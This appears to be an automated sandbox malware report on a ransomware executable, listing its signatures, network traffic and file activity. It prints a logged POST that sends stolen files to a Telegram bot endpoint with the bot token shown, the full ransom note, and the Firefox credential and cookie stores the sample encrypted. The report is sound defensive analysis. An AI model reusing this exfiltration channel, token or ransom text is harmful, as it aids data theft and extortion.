Edit tour

Windows Analysis Report
aASfOObWpW.exe

Overview

General Information

Sample name:	aASfOObWpW.exe renamed because original name is a hash value
Original sample name:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d.exe
Analysis ID:	1592007
MD5:	0e1cbce00abf322c5e98afb2e6c46998
SHA1:	6b8da7d766f60543b56c51c71e942a3f61c74cf2
SHA256:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d
Tags:	exeransomwareuser-JAMESWT_MHT
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RansomwareGeneric4

AI detected suspicious sample

Modifies existing user documents (likely ransomware behavior)

Overwrites Mozilla Firefox settings

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

aASfOObWpW.exe (PID: 2968 cmdline: "C:\Users\user\Desktop\aASfOObWpW.exe" MD5: 0E1CBCE00ABF322C5E98AFB2E6C46998)

OpenWith.exe (PID: 5560 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: aASfOObWpW.exe PID: 2968	JoeSecurity_Ransomware_Generic_4	Yara detected Ransomware_Generic_4	Joe Security

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\aASfOObWpW.exe, ProcessId: 2968, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Suricata Signatures

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T16:43:51.274739+0100	1810008	1	Potentially Bad Traffic	192.168.2.5	49706	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aASfOObWpW.exe	Virustotal: Detection: 55%			Perma Link
Source: aASfOObWpW.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.6% probability

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_1.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_2.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_3.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_4.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_5.txt	Jump to behavior

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: aASfOObWpW.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb source: aASfOObWpW.exe
Source:	Binary string: C:\Users\pover\source\repos\WindowsFormsApp1\WindowsFormsApp1\obj\Debug\WindowsFormsApp1.pdb}Z source: aASfOObWpW.exe

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49706 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.5:57140 -> 162.159.36.2:53

Source: global traffic

HTTP traffic detected: POST /bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary="0348f9a9-42f6-405f-b988-7805a3bc3082"Host: api.telegram.orgContent-Length: 671Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: aASfOObWpW.exe, 00000000.00000002.3897960630.0000000002631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: aASfOObWpW.exe, 00000000.00000002.3897960630.0000000002631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: aASfOObWpW.exe	String found in binary or memory: https://api.telegram.org/bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A7D928 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,		0_2_08A7D928
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A7D919 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,		0_2_08A7D919

Spam, unwanted Advertisements and Ransom Demands

Yara detected RansomwareGeneric4

Source: Yara match

File source: Process Memory Space: aASfOObWpW.exe PID: 2968, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\TQDFJHPUIU.jpg	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EIVQSAOTAQ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\EWZCVGNOWT.pdf	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File deleted: C:\Users\user\Desktop\GRXZDKKVDB.docx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_1.txt -> id: 74085fb5-dd20-4120-a9b1-4a9edcda13a9your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_2.txt -> id: 74085fb5-dd20-4120-a9b1-4a9edcda13a9your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_3.txt -> id: 74085fb5-dd20-4120-a9b1-4a9edcda13a9your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_4.txt -> id: 74085fb5-dd20-4120-a9b1-4a9edcda13a9your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File dropped: C:\Users\user\Desktop\Readme_74085fb5-dd20-4120-a9b1-4a9edcda13a9_5.txt -> id: 74085fb5-dd20-4120-a9b1-4a9edcda13a9your files have been encrypted!to recover your data, please transfer 0.5 bitcoins to the following address: 1a2b3c4d5e6f7g8h9i0j1k2l3m4n4n4n5o6p7.the payment deadline is 72 hours. after that, your files will be destroyed. do not attempt to recover your files yourselfinstructions in the file readme_@.txtcontact via telegram: @aboba	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm.werus entropy: 7.99405366075	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite.werus entropy: 7.99704468095	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus entropy: 7.99211073021	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.werus entropy: 7.9981450318	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\Desktop\aASfOObWpW.exe.werus entropy: 7.99000754551	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4.werus entropy: 7.9910293587	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus entropy: 7.9976464222	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus entropy: 7.99862171623	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus entropy: 7.99630726896	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus entropy: 7.99560923056	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm.werus entropy: 7.99473981412	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus entropy: 7.99678514403	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus entropy: 7.99597208185	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus entropy: 7.99475496412	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus entropy: 7.99623398075	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus entropy: 7.99968410681	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus entropy: 7.99404768205	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.werus entropy: 7.99941125354	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db.werus entropy: 7.99913624755	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite.werus entropy: 7.99931479953	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite.werus entropy: 7.99797843271	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json.werus entropy: 7.99516886827	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite.werus entropy: 7.9999593123	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm.werus entropy: 7.99358924424	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db.werus entropy: 7.99936045741	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite.werus entropy: 7.99787931863	Jump to dropped file
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite.werus entropy: 7.99996594468	Jump to dropped file

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A78C90	0_2_08A78C90
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A70530	0_2_08A70530
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A79940	0_2_08A79940
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A78C7F	0_2_08A78C7F
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A79E98	0_2_08A79E98
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Code function: 0_2_08A736A8	0_2_08A736A8

Source: aASfOObWpW.exe, 00000000.00000002.3897960630.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3897960630.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3897960630.00000000028CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $jq,\\StringFileInfo\\000004B0\\OriginalFilename vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000002.3896985482.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs aASfOObWpW.exe
Source: aASfOObWpW.exe, 00000000.00000000.2035426385.0000000000292000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe
Source: aASfOObWpW.exe	Binary or memory string: OriginalFilenameWindowsFormsApp1.exeB vs aASfOObWpW.exe

Source: classification engine

Classification label: mal92.rans.phis.troj.spyw.winEXE@2/292@1/1

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\Desktop\aASfOObWpW.exe.werus

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Mutant created: NULL
Source: C:\Windows\System32\OpenWith.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5560:120:WilError_03

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File created: C:\Users\user\AppData\Local\Temp\encrypted_wallpaper.bmp

Jump to behavior

Source: aASfOObWpW.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: aASfOObWpW.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aASfOObWpW.exe	Virustotal: Detection: 55%
Source: aASfOObWpW.exe	ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\aASfOObWpW.exe

File read: C:\Users\user\Desktop\aASfOObWpW.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\aASfOObWpW.exe "C:\Users\user\Desktop\aASfOObWpW.exe"
Source: unknown	Process created: C:\Windows\System32\OpenWith.exe C:\Windows\system32\OpenWith.exe -Embedding

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
